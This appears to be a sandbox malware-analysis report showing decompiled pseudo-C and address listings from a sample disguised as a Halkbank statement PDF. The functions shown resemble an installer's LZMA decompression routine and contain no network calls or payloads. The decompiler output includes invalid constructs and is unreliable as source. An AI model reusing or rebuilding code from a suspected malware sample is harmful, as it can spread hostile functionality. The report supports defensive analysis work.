								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406bc0
0x00406bc7
0x00406bcd
0x00406bd3
0x00000000
0x00406bd7
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bf9
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c0e
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c59
0x00406c5c
0x00406c84
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c5e
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c76
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406ccd
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd2
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cef
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d35
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073dd
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x00407413
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743b
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406dcf
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x004075e5
0x004075eb
0x004075ed
0x004075f4
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction ID: 41bbaa2e3590000dceee7c9791d291245bc26db239967492cd44d063337b5de0
Opcode Fuzzy Hash: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction Fuzzy Hash: 3E814831D08228DBEF28CFA8C8447ADBBB1FF44305F14816AD856B7281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406FFE Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406FFE() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00407602))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
